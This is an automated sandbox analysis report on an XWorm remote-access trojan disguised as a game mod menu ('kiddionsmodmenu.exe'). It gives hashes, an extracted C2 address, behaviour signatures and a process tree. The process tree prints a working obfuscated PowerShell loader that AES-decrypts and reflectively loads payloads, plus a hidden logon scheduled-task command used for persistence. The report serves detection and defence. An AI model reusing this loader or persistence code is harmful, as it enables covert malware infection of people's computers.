Analysis
-
max time kernel
93s -
max time network
94s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
14/05/2024, 11:20
Static task
static1
Behavioral task
behavioral1
Sample
kiddionsmodmenu.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
kiddionsmodmenu.exe
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
kiddionsmodmenu.exe
Resource
win10v2004-20240508-en
General
-
Target
kiddionsmodmenu.exe
-
Size
386KB
-
MD5
88e737816cc5f3e3809152c5f9dad5be
-
SHA1
56dedf42285c74795f714dbac7782a5d0e695a97
-
SHA256
6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
-
SHA512
8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
-
SSDEEP
12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn
Malware Config
Extracted
xworm
5.0
94.156.8.167:2020
8sPZSP21r8KwS1LM
-
install_file
USB.exe
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral3/memory/320-78-0x0000000007070000-0x000000000707E000-memory.dmp family_xworm -
Blocklisted process makes network request 1 IoCs
flow pid Process 1 320 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2072 powershell.exe 1900 powershell.exe 320 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation kiddionsmodmenu.exe Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Delays execution with timeout.exe 1 IoCs
pid Process 5036 timeout.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2072 powershell.exe 2072 powershell.exe 1900 powershell.exe 1900 powershell.exe 320 powershell.exe 320 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2072 powershell.exe Token: SeDebugPrivilege 1900 powershell.exe Token: SeIncreaseQuotaPrivilege 1900 powershell.exe Token: SeSecurityPrivilege 1900 powershell.exe Token: SeTakeOwnershipPrivilege 1900 powershell.exe Token: SeLoadDriverPrivilege 1900 powershell.exe Token: SeSystemProfilePrivilege 1900 powershell.exe Token: SeSystemtimePrivilege 1900 powershell.exe Token: SeProfSingleProcessPrivilege 1900 powershell.exe Token: SeIncBasePriorityPrivilege 1900 powershell.exe Token: SeCreatePagefilePrivilege 1900 powershell.exe Token: SeBackupPrivilege 1900 powershell.exe Token: SeRestorePrivilege 1900 powershell.exe Token: SeShutdownPrivilege 1900 powershell.exe Token: SeDebugPrivilege 1900 powershell.exe Token: SeSystemEnvironmentPrivilege 1900 powershell.exe Token: SeRemoteShutdownPrivilege 1900 powershell.exe Token: SeUndockPrivilege 1900 powershell.exe Token: SeManageVolumePrivilege 1900 powershell.exe Token: 33 1900 powershell.exe Token: 34 1900 powershell.exe Token: 35 1900 powershell.exe Token: 36 1900 powershell.exe Token: SeIncreaseQuotaPrivilege 1900 powershell.exe Token: SeSecurityPrivilege 1900 powershell.exe Token: SeTakeOwnershipPrivilege 1900 powershell.exe Token: SeLoadDriverPrivilege 1900 powershell.exe Token: SeSystemProfilePrivilege 1900 powershell.exe Token: SeSystemtimePrivilege 1900 powershell.exe Token: SeProfSingleProcessPrivilege 1900 powershell.exe Token: SeIncBasePriorityPrivilege 1900 powershell.exe Token: SeCreatePagefilePrivilege 1900 powershell.exe Token: SeBackupPrivilege 1900 powershell.exe Token: SeRestorePrivilege 1900 powershell.exe Token: SeShutdownPrivilege 1900 powershell.exe Token: SeDebugPrivilege 1900 powershell.exe Token: SeSystemEnvironmentPrivilege 1900 powershell.exe Token: SeRemoteShutdownPrivilege 1900 powershell.exe Token: SeUndockPrivilege 1900 powershell.exe Token: SeManageVolumePrivilege 1900 powershell.exe Token: 33 1900 powershell.exe Token: 34 1900 powershell.exe Token: 35 1900 powershell.exe Token: 36 1900 powershell.exe Token: SeIncreaseQuotaPrivilege 1900 powershell.exe Token: SeSecurityPrivilege 1900 powershell.exe Token: SeTakeOwnershipPrivilege 1900 powershell.exe Token: SeLoadDriverPrivilege 1900 powershell.exe Token: SeSystemProfilePrivilege 1900 powershell.exe Token: SeSystemtimePrivilege 1900 powershell.exe Token: SeProfSingleProcessPrivilege 1900 powershell.exe Token: SeIncBasePriorityPrivilege 1900 powershell.exe Token: SeCreatePagefilePrivilege 1900 powershell.exe Token: SeBackupPrivilege 1900 powershell.exe Token: SeRestorePrivilege 1900 powershell.exe Token: SeShutdownPrivilege 1900 powershell.exe Token: SeDebugPrivilege 1900 powershell.exe Token: SeSystemEnvironmentPrivilege 1900 powershell.exe Token: SeRemoteShutdownPrivilege 1900 powershell.exe Token: SeUndockPrivilege 1900 powershell.exe Token: SeManageVolumePrivilege 1900 powershell.exe Token: 33 1900 powershell.exe Token: 34 1900 powershell.exe Token: 35 1900 powershell.exe -
Suspicious use of WriteProcessMemory 30 IoCs
description pid Process procid_target PID 1816 wrote to memory of 4976 1816 kiddionsmodmenu.exe 80 PID 1816 wrote to memory of 4976 1816 kiddionsmodmenu.exe 80 PID 1816 wrote to memory of 4976 1816 kiddionsmodmenu.exe 80 PID 4976 wrote to memory of 4800 4976 cmd.exe 83 PID 4976 wrote to memory of 4800 4976 cmd.exe 83 PID 4976 wrote to memory of 4800 4976 cmd.exe 83 PID 4976 wrote to memory of 2072 4976 cmd.exe 84 PID 4976 wrote to memory of 2072 4976 cmd.exe 84 PID 4976 wrote to memory of 2072 4976 cmd.exe 84 PID 2072 wrote to memory of 1900 2072 powershell.exe 85 PID 2072 wrote to memory of 1900 2072 powershell.exe 85 PID 2072 wrote to memory of 1900 2072 powershell.exe 85 PID 2072 wrote to memory of 1428 2072 powershell.exe 88 PID 2072 wrote to memory of 1428 2072 powershell.exe 88 PID 2072 wrote to memory of 1428 2072 powershell.exe 88 PID 1428 wrote to memory of 2852 1428 WScript.exe 89 PID 1428 wrote to memory of 2852 1428 WScript.exe 89 PID 1428 wrote to memory of 2852 1428 WScript.exe 89 PID 2852 wrote to memory of 5028 2852 cmd.exe 91 PID 2852 wrote to memory of 5028 2852 cmd.exe 91 PID 2852 wrote to memory of 5028 2852 cmd.exe 91 PID 2852 wrote to memory of 320 2852 cmd.exe 92 PID 2852 wrote to memory of 320 2852 cmd.exe 92 PID 2852 wrote to memory of 320 2852 cmd.exe 92 PID 320 wrote to memory of 2348 320 powershell.exe 95 PID 320 wrote to memory of 2348 320 powershell.exe 95 PID 320 wrote to memory of 2348 320 powershell.exe 95 PID 2348 wrote to memory of 5036 2348 cmd.exe 97 PID 2348 wrote to memory of 5036 2348 cmd.exe 97 PID 2348 wrote to memory of 5036 2348 cmd.exe 97
Processes
-
C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS4D16.tmp\XClient_Dealed.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4976 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS4D16.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:4800
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2072 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_117_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_117.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1900
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_117.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1428 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_117.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_117.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:5028
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7431.tmp.bat""7⤵
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\SysWOW64\timeout.exetimeout 38⤵
- Delays execution with timeout.exe
PID:5036
-
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD59751fcb3d8dc82d33d50eebe53abe314
SHA17a680212700a5d9f3ca67c81e0e243834387c20c
SHA256ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7
SHA51254907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709
-
Filesize
20KB
MD552d7aa058bf67b24ba100e76de6e355b
SHA190ef844580700eefca0d198f32bc2eed6d4c0189
SHA2560b97ef5c34fdd839d6c18e9bdb2d865e7f8999b172c2b2db75d3ca1c4e76ed33
SHA512d5461fcfa4f561d3d7ee72aa2cd16a6a96d3ed0a9d8f1441696eb7d63c868682c7d60a06725e56adf6ec71705854e4d083f6a312e2a54346e4b1bbeda6b260a2
-
Filesize
152KB
MD50b426e8571f8d3e437b7a42e9b8fd808
SHA1986edba4c39be9edb552284dac555e2e95f68a4a
SHA2569c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e
SHA512e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
171B
MD56cebe2d22b90fa9f4a8fd9611fb7667a
SHA14425e1aff8164ca0ecc9d4b3901e797b41651bd3
SHA25683bff7f5b386ac00674d8d1635bbc81065300d5b0e71edae3e074d7c50f6db10
SHA51216d67b5d5af59a46b30f24bf7cb7cb891b7b20b6f558216ec9215d6000f4cafa2d4c77abf5b27827096a55c12061eaf571de99cfe8aa2996526c72bb6a8628ad
-
Filesize
115B
MD52f5b779643b2ce6529f05966c70f1782
SHA1246b8cd3ebd3eba5ddf7a022c937716d0aa01ea9
SHA2569e38525ee7745e386dcc2a36808f0f7d20b590ef07d0c8fdff509289b30f9f56
SHA512109aa3e3f5ed85c45e16e4af27c6103d63c3070872587c70c431b226a3364ce31e7cc877450c9e4acc1bf6753d9862f26c928c9cf3fe7d1f4a88f8007121980f